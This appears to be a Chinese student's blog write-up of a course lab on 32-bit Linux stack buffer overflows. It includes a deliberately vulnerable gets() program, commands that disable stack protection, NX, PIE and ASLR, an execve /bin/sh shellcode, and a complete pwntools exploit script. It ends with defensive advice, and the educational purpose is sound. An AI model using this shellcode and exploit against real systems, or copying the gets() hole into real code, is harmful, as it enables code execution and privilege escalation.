缓冲区溢出从入门到Shellcode弹计算器:一个网安学生的踩坑实录
缓冲区溢出从入门到Shellcode弹计算器:一个网安学生的踩坑实录
写这篇文章的时候,我刚完成《网络攻防实践》课程的缓冲区溢出实验。说实话,课本上讲的和实际操作完全是两回事。课本告诉你"溢出覆盖返回地址",但没人告诉你gcc的栈保护、地址随机化会把你折腾到怀疑人生。
这篇文章记录我从"知道原理"到"真的弹出计算器"的全过程,包括踩过的每一个坑。
环境准备:第一个坑
实验要求在32位环境下跑,但现在谁还用32位系统?
我的环境:
- OS:Ubuntu 20.04 LTS(虚拟机)
- GCC:9.4.0
- 关键:编译时关闭所有保护
# 关闭栈保护、NX、ASLR、PIE
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vuln vuln.c
# 关闭ASLR
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
这里第一个坑:-m32需要安装32位库:
sudo apt-get install gcc-multilib g++-multilib
不装这个,gcc直接报错找不到头文件,搜了半天才发现是库的问题。
目标程序:经典的栈溢出
// vuln.c
#include <stdio.h>
#include <string.h>
void vulnerable_function() {
char buffer[64];
gets(buffer); // 危险函数,不限制输入长度
}
int main() {
printf("请输入你的名字: ");
vulnerable_function();
printf("执行完毕\n");
return 0;
}
gets()是经典的缓冲区溢出入口——它不检查输入长度,你输入多少它就读多少。
第一步:确认能溢出
先用超长输入确认能控制EIP(指令指针):
python3 -c "print('A'*100)" | ./vuln
如果程序直接Segmentation fault,说明溢出成功覆盖了关键地址。
用GDB确认覆盖偏移:
gdb ./vuln
(gdb) r <<< $(python3 -c "print('A'*80)")
(gdb) info registers eip
EIP变成了0x41414141(AAAA的十六进制),说明偏移80字节正好覆盖返回地址。
这里第二个坑:偏移量不是简单的buffer大小(64字节)。编译器可能在buffer和返回地址之间插入padding、saved EBP等。实际偏移要靠pattern工具精确计算:
# 用pwntools的pattern
python3 -c "from pwn import *; print(cyclic(100))" > payload
gdb ./vuln
(gdb) r < payload
(gdb) info registers eip
# 假设EIP = 0x6161616c
python3 -c "from pwn import *; print(cyclic_find(0x6161616c))"
# 输出偏移量,比如76
第二步:写Shellcode
Shellcode是一段机器码,目标是执行系统调用。最经典的入门shellcode是弹计算器(Windows)或执行/bin/sh(Linux)。
Linux execve("/bin/sh")的shellcode(32位):
shellcode = (
b"\x31\xc0" # xor eax, eax
b"\x50" # push eax
b"\x68\x2f\x2f\x73\x68" # push "//sh"
b"\x68\x2f\x62\x69\x6e" # push "/bin"
b"\x89\xe3" # mov ebx, esp
b"\x50" # push eax
b"\x53" # push ebx
b"\x89\xe1" # mov ecx, esp
b"\xb0\x0b" # mov al, 0x0b (execve syscall)
b"\xcd\x80" # int 0x80
)
第三步:找到Shellcode地址
第三个坑来了:你得知道shellcode在内存中的确切地址。
方法一:GDB里直接看buffer地址
gdb ./vuln
(gdb) b vulnerable_function
(gdb) r
(gdb) print &buffer
# 假设输出 0xffffd5a0
方法二:用NOP sled增加命中率
payload = b"\x90" * 50 + shellcode + b"A" * (76 - 50 - len(shellcode)) + b"\xa0\xd5\xff\xff"
NOP sled(\x90)是一堆"什么都不做"的指令。只要EIP跳到NOP sled的任意位置,都会"滑"到shellcode。
第四步:完整的Exploit
from pwn import *
# 关闭ASLR后,buffer地址相对固定
buf_addr = 0xffffd5a0 # GDB中获取的实际地址
shellcode = (
b"\x31\xc0\x50\x68\x2f\x2f\x73\x68"
b"\x68\x2f\x62\x69\x6e\x89\xe3\x50"
b"\x53\x89\xe1\xb0\x0b\xcd\x80"
)
offset = 76 # pattern计算得到
nop_sled = b"\x90" * 50
payload = nop_sled + shellcode
payload += b"A" * (offset - len(payload))
payload += p32(buf_addr)
# 保存payload
with open("payload", "wb") as f:
f.write(payload)
执行:
(cat payload; cat) | ./vuln
cat管道保持stdin打开,这样拿到shell后还能继续交互。
如果一切顺利,你会看到一个新的shell提示符——恭喜,你拿到了一个有root权限的shell(如果vuln是suid的话)。
踩坑总结
坑现象解决 没装32位库gcc报错找不到头文件apt install gcc-multilib 偏移算错EIP没被覆盖或覆盖位置不对用cyclic pattern精确计算 地址不准Segfault但没拿到shellGDB里多次确认,注意栈帧变化 ASLR没关每次运行地址变echo 0 > /proc/sys/kernel/randomize_va_space 管道问题拿到shell立刻退出用`(cat payload; cat)./vuln`防御侧思考
作为攻击者体验完之后,防御思路就清晰了:
- 编译时开启栈保护:
-fstack-protector-strong,栈溢出时会触发__stack_chk_fail - 开启NX:
-z noexecstack,栈上不能执行代码 - 开启ASLR:地址随机化,让攻击者猜不到shellcode地址
- 禁用危险函数:用
fgets替代gets,用strncpy替代strcpy - 使用现代语言:Rust、Go等内存安全语言从根本上避免这类问题
理解攻击是为了更好地防御。亲手做过一次缓冲区溢出,你对内存安全的理解会上一个台阶。
关注「安全值班室」公众号
每天AI安全早报 + 实战攻防案例 + 网安学习路线连载
浙公网安备 33010602011771号